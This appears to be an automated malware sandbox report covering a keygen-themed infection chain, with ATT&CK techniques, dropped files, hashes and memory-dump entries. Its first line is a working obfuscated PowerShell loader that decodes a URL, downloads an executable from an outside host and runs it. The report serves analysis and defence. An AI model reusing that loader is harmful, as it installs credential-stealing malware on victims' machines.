"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4568

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\freebl3.dll

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C:\ProgramData\freebl3.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\softokn3.dll

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C:\ProgramData\softokn3.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\2188.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\2188.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\2188.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\2188.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\2188.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\2188.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\2188.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\2188.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\2188.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Public\bgv.exe

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C:\Users\Public\bgv.exe

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C:\Users\Public\bgv.exe

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C:\Users\Public\gar.exe

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C:\Users\Public\gar.exe

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C:\Users\Public\gar.exe

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C:\Users\Public\iyh.exe

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C:\Users\Public\iyh.exe

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C:\Users\Public\iyh.exe

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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memory/208-200-0x0000000000000000-mapping.dmp

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memory/772-95-0x0000000009910000-0x0000000009911000-memory.dmp

Filesize
4KB

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memory/772-52-0x00000000084A0000-0x00000000084A1000-memory.dmp

Filesize
4KB

Download
memory/772-97-0x00000000086A0000-0x00000000086A1000-memory.dmp

Filesize
4KB

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memory/772-24-0x0000000000000000-mapping.dmp

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memory/772-99-0x000000000A760000-0x000000000A761000-memory.dmp

Filesize
4KB

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memory/772-27-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

Download
memory/828-0-0x0000000000000000-mapping.dmp

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memory/1344-17-0x0000000000000000-mapping.dmp

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memory/1600-26-0x0000000000000000-mapping.dmp

Download
memory/1868-3-0x0000000000000000-mapping.dmp

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memory/1868-2-0x0000000000000000-mapping.dmp

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memory/1960-186-0x000000000041A684-mapping.dmp

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memory/2208-7-0x0000000000000000-mapping.dmp

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memory/2228-205-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

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memory/2228-206-0x000000000043FCC3-mapping.dmp

Download
memory/2228-211-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/2272-39-0x0000000007F90000-0x0000000007F91000-memory.dmp

Filesize
4KB

Download
memory/2272-15-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

Download
memory/2272-28-0x00000000075B0000-0x00000000075B1000-memory.dmp

Filesize
4KB

Download
memory/2272-35-0x0000000007CC0000-0x0000000007CC1000-memory.dmp

Filesize
4KB

Download
memory/2272-37-0x0000000007E30000-0x0000000007E31000-memory.dmp

Filesize
4KB

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memory/2272-12-0x0000000000000000-mapping.dmp

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memory/2652-9-0x0000000000000000-mapping.dmp

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memory/2808-10-0x0000000000000000-mapping.dmp

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memory/3264-20-0x0000000006D40000-0x0000000006D41000-memory.dmp

Filesize
4KB

Download
memory/3264-22-0x00000000073B0000-0x00000000073B1000-memory.dmp

Filesize
4KB

Download
memory/3264-14-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

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memory/3264-13-0x0000000000000000-mapping.dmp

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memory/3760-218-0x0000000000000000-mapping.dmp

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memory/3840-57-0x00000000085D0000-0x00000000085D1000-memory.dmp

Filesize
4KB

Download
memory/3840-71-0x00000000094F0000-0x00000000094F1000-memory.dmp

Filesize
4KB

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memory/3840-25-0x0000000000000000-mapping.dmp

Download
memory/3840-30-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

Download
memory/3840-49-0x0000000007DD0000-0x0000000007DD1000-memory.dmp

Filesize
4KB

Download
memory/3840-70-0x0000000009D40000-0x0000000009D41000-memory.dmp

Filesize
4KB

Download
memory/3916-19-0x0000000000000000-mapping.dmp

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memory/4024-184-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4024-178-0x0000000000417A8B-mapping.dmp

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memory/4104-133-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4104-135-0x0000000000417A8B-mapping.dmp

Download
memory/4104-139-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4196-128-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4196-131-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4196-129-0x000000000043FCC3-mapping.dmp

Download
memory/4264-134-0x000000000041A684-mapping.dmp

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memory/4264-132-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4264-137-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4332-163-0x0000000000000000-mapping.dmp

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memory/4348-62-0x0000000000000000-mapping.dmp

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memory/4356-220-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/4408-63-0x0000000000000000-mapping.dmp

Download
memory/4408-66-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

Download
memory/4480-65-0x0000000000000000-mapping.dmp

Download
memory/4568-72-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

Download
memory/4568-69-0x0000000000000000-mapping.dmp

Download
memory/4708-154-0x0000000000000000-mapping.dmp

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memory/4824-161-0x0000000000000000-mapping.dmp

Download
memory/4928-181-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4928-177-0x000000000043FCC3-mapping.dmp

Download
memory/4948-107-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

Download
memory/4948-202-0x0000000005590000-0x000000000559D000-memory.dmp

Filesize
52KB

Download
memory/4948-115-0x0000000000670000-0x0000000000671000-memory.dmp

Filesize
4KB

Download
memory/4948-192-0x0000000005AE0000-0x0000000005AE1000-memory.dmp

Filesize
4KB

Download
memory/4948-191-0x0000000005460000-0x0000000005510000-memory.dmp

Filesize
704KB

Download
memory/4948-103-0x0000000000000000-mapping.dmp

Download
memory/4960-104-0x0000000000000000-mapping.dmp

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memory/5024-213-0x0000000000000000-mapping.dmp

Download
memory/5024-215-0x00000000723C0000-0x0000000072AAE000-memory.dmp

Filesize
6.9MB

Download
memory/5024-216-0x0000000000130000-0x0000000000131000-memory.dmp

Filesize
4KB

Download
memory/5024-219-0x0000000002140000-0x0000000002141000-memory.dmp

Filesize
4KB

Download
memory/5044-201-0x0000000000000000-mapping.dmp

Download
memory/5100-118-0x0000000000000000-mapping.dmp

Download
memory/5112-119-0x0000000000000000-mapping.dmp

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